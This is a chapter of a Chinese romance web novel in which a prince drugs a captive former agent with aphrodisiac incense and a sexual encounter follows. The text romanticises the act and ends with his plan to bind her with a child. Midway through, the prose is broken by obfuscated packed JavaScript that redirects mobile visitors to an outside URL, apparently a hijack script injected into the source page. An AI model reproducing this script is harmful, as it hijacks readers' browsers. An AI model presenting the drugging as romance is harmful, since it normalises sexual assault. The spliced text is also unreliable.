苏昭是被一阵敲门声惊醒。
多年的特工生涯,让她的睡眠变得极浅,即便精神力被完全抑制了,这种警觉性也从未消失。
“苏小姐。”门外传来艾琳略显焦急的声音,“殿下……殿下请您过去。”
苏昭皱眉看了一眼床头的电子钟。凌晨两点。
“他发什么疯?”苏昭冷冷地问了一句,并没有起身。
“殿下今晚参加了国宴……喝了不少酒。”艾琳的声音透过门板传来,带着几分忐忑,“殿下现在的状态不太好,一直在叫你。”
她本想拒绝,但转念一想,拒绝的后果无非是被那群近卫兵五花大绑地抬过去,到时候场面只会更加难看。
“知道了。”
苏昭掀开被子,随意披了一件外套。
……
祁凛的寝殿离她住的地方并不远,穿过一条长长的空中回廊便是。
刚一踏入寝殿的大门,就闻到了一股淡淡的酒味。
殿内没有开主灯,只有几盏壁灯散发着昏黄的光晕。
祁凛静静地靠在沙发边,微垂着头,黑色的碎发遮住了眉眼,整个人透着一股淡淡的颓废。
“都出去。”
艾琳和几个侍从如蒙大赦,赶忙退了出去,顺手带上了厚重的雕花大门。
苏昭站在离他五步远的地方,没有再靠近。她双手抱胸,看着这个看起来毫无防备的男人,眼中满是审视。
“大半夜把人叫来,就是为了让我看你这副醉鬼的样子?”
祁凛缓缓抬起头。那双平日里总是狠戾的眸子,此刻却因为酒精的缘故泛着一层水光,眼尾染着一抹妖冶的绯红。
他看着苏昭,眼神有些发直,像是在透过她看什么遥不可及的幻影。
良久,他才扯了扯嘴角。
“你来了。”
语气熟稔得仿佛他们之间没有任何仇恨,仿佛这只是一个丈夫在等待晚归的妻子。
苏昭眉头皱得更紧了:“祁凛,你醉了。如果没什么事,我就回去了。”
说完,她转身欲走。
“别走……”
身后传来一阵衣料摩擦的声响。还没等苏昭反应过来,一只大手已经从身后攥住了她的手腕。
紧接着,一股巨大的拉力袭来。苏昭脚下不稳,整个人向后倒去,重重地跌进了一个温暖的怀抱里。
“放开!”苏昭下意识地手肘后击,想要挣脱。
若是平时,祁凛早就反击或者制住她了。但今晚的他却格外反常,他不躲不闪,硬生生受了她这一肘,发出一声闷哼,手臂却像铁钳一样,反而将她箍得更紧。
他把头埋在苏昭的颈窝里,贪婪地深吸了一口气。
“别动……让我抱一会儿……”
他的声音带着颤抖,温热的呼吸喷洒在苏昭敏感的耳后皮肤上,激起一阵鸡皮疙瘩。
“苏昭……我想你了。”
苏昭浑身一震。
这三个字,从祁凛嘴里说出来,简直比恐怖故事还要惊悚。
“祁凛,你看清楚我是谁。”苏昭咬着牙,试图掰开他的手指。
“我知道……”祁凛喃喃自语,像是个受了委屈的孩子,“我知道是你……除了你,谁还会这么狠心……”
“你还记得吗?”祁凛闭着眼睛,在她耳边低语,声音有些飘忽,“军校……那天也是这么晚,你翻墙出去给我买药……”
苏昭动作一顿,随即冷声道:“我没做过这种事。你记错人了。”
“你骗人。”
祁凛低低地笑了一声,“你当时明明怕得要死,怕被教官发现……但你还是去了……”
“我没有。”苏昭打断了他,语气有些不耐烦,“祁凛,那是你自己臆想出来的吧。”
“臆想?”
祁凛松开了一只手,却依然把她圈在怀里。
“那这道疤呢?”
他强硬地抓起苏昭的左手,指腹摩挲着她虎口处一道极浅的白色伤痕。
“这是我们要毕业那年……为了救我,你徒手挡下了那把离子刀……”祁凛的声音哽咽了一下,“当时流了好多血……你痛得脸都白了,却还笑着跟我说没事……”
苏昭看着那道疤,眼神有些恍惚。
这道疤……
在她的记忆里,这是她在一次模拟训练中不小心划伤的。
“这是训练受的伤。”苏昭冷冷地抽回手。
祁凛的手僵在半空。
“苏昭,有时候我真想剖开你的脑子看看,联邦到底给你灌了什么迷魂汤。”
他闭上眼,眼角似乎有一滴晶莹滑落,迅速没入鬓角消失不见。
苏昭看着他这副样子,心里莫名地烦躁起来。
这种烦躁来得毫无缘由,就像是一团火在胸口闷烧。她觉得自己应该立刻离开,离开这个满嘴疯话的酒鬼。
“既然殿下只想发酒疯,那我就不奉陪了。”
苏昭站起身,整理了一下被弄乱的衣襟,抬脚便往门口走去。
然而,刚迈出两步,她的脚步便是一顿。
一阵强烈的眩晕感毫无征兆地袭来,眼前的景物瞬间出现了重影。
怎么回事?
苏昭扶住额头,用力晃了晃脑袋。
紧接着,一股奇异的热流从小腹深处腾起,迅速窜遍四肢百骸。那种热度不正常,带着一种令人酥软的麻痒,像是有无数只蚂蚁在血管里爬行。
她的呼吸瞬间变得急促起来,双腿发软,几乎站立不稳。
苏昭猛地回头,看向房间中央的那座在此刻显得格外诡异的青铜香炉。
那里正袅袅升起一缕淡紫色的烟雾。
刚才一进门时闻到的那股幽香……
“你……”苏昭抓着旁边的椅背,咬牙切齿,“你在香里……放了什么?”
“这叫“醉梦”。”
祁凛的声音很轻,“是帝国宫廷秘药。它不会伤害身体,只会让人……诚实。”
他缓缓坐直身子,目光锁住苏昭摇摇欲坠的身影。
“苏昭,既然清醒的时候你想不起我,那就在梦里……好好看看我。”
“疯子……”
苏昭骂了一句,转身跌跌撞撞地想要去拉门把手。
可是她的手刚触碰到金属门把,身体里那股热浪便如海啸般爆发,瞬间吞没了她仅存的理智。她的手指无力地滑落,整个人顺着门板瘫软下去。
好热。
好晕。
“过来。”
祁凛的声音在身后响起,像是海妖的歌声,带着无法抗拒的魔力。
苏昭不想动,但她的身体却背叛了意志。
那种对抚慰的渴望压倒了理智。她艰难地转过身,视线模糊中,只看到那个男人坐在阴影里,像是一个等待猎物自投罗网的猎人。
祁凛看着她挣扎、抗拒,最后不得不屈服于本能的样子,眼底闪过一丝痛色,但更多的是一种扭曲的快意。
苏昭终于挪到了他面前。她脸色潮红,眼神迷离得像是蒙了一层雾。
祁凛伸出手,一把将她拽了过来。
这一次,苏昭没有反抗。她顺势倒在了祁凛身上。
祁凛的手抚上她的脸颊,指腹轻轻摩挲着她滚烫的肌肤。
“今天在花园里……”
祁凛开口,声音有些飘忽,“你对那个孩子很好。”
苏昭的意识已经混沌不清,只能本能地追逐着他的体温,含糊不清地“嗯”了一声。
“你喜欢孩子?”
“如果你喜欢……”祁凛凑近她的耳边,轻声诱哄,“我们也可以有一个。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189013|197037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
苏昭的大脑一片空白,“孩子”这个词在她的脑海里只是一个模糊的概念。
“孩子……”她无意识地重复着。
“对,我们的孩子。”
他抓着苏昭的腰,稍微用力,将她整个人提了起来,让她跨坐在了自己的腿上。
这种姿势让苏昭不得不居高临下地看着他。
两人的视线在极近的距离交汇。
苏昭的理智在这一刻彻底崩断。
“是你自找的……”
她低下头,狠狠地咬住了祁凛的嘴唇。
祁凛闷哼一声,却没有任何躲闪,反而更加热烈地迎合了上去。他仰着头,承受着她近乎粗暴的索取,双手紧紧掐着她的腰。
“唔……”
看着苏昭那张染上情欲却依然带着狠劲的脸,看着她为了掌控他而紧绷的肌肉线条,祁凛感到一种前所未有的满足。
这才是他的苏昭。
而不是那个冷冰冰的木偶。
“苏昭……苏昭……”
他在颠簸与沉浮中,一遍遍喊着她的名字。
药物的作用让一切感官都被无限放大。
苏昭觉得自己像是一叶扁舟,在狂风巨浪的大海中起伏。而身下的男人,就是那片深不见底的海。他包容她所有的暴戾,吞噬她所有的理智,然后用更汹涌的波涛将她彻底淹没。
汗水交织在一起,分不清是谁的。
在这场荒唐的、由药物催化的情事中,没有温情脉脉。
祁凛仰躺着,视线有些模糊,恍惚间,他又看到了三年前那个意气风发的军校首席。那时候的她也是这样,骄傲、耀眼,在格斗台上把他按在身下,笑着说:“祁凛,你输了。”
是啊,他输了。
输得一败涂地。
苏昭根本听不清他在陆陆续续地说什么。她只觉得眼前这个男人的眼神太烫,烫得她心尖发颤。
那种既熟悉又陌生的感觉再次涌上心头。
为什么?
为什么当他喊她名字的时候,她的心脏会痛得像是要裂开?
“闭嘴……”
苏昭难耐地低喘着,为了掩盖那种莫名的心慌,她更加用力地动了起来,像是要通过这种方式,把脑海中那些乱七八糟的念头全部撞碎。
夜,还很长。
这一场关于征服与被征服、遗忘与铭记的博弈,在药物和欲望的遮羞布下,演变成了一场淋漓尽致的宣泄。
不知道过了多久。
当最后的一丝力气被抽干,苏昭无力地瘫软在祁凛身上。
她浑身湿透,像是刚从水里捞出来一样。大脑一片空白,连手指动一下的力气都没有。
祁凛也没有动。
他依然维持着那个姿势,让苏昭趴在他胸口。他的一只手搭在苏昭光滑的后背上,有一搭没一搭地轻轻拍着,像是哄孩子入睡,又像是在安抚一只炸毛的猫。
祁凛睁着眼,看着头顶华丽繁复的水晶吊灯。
眼底的潮红慢慢褪去,取而代之的是一片死寂后的清明。
他感受着身上人的重量,感受着她逐渐平稳的呼吸和心跳。
只有在这一刻,她是完全属于他的。
没有国仇家恨,没有谎言背叛。
“苏昭……”
他轻声呢喃,“你跑不掉了。”
如果感情留不住你,那就用血脉。
哪怕是把你困在这个笼子里一辈子,哪怕是被你恨一辈子……我也绝不会再放手。
他低下头,在苏昭满是汗水的额头上,落下了一个虔诚的吻。
“睡吧。”
窗外,黎明前的黑暗最为浓重。
但在这一室的荒唐与旖旎中,命运的齿轮已经悄然咬合,转动向一个更加疯狂且无法回头的方向。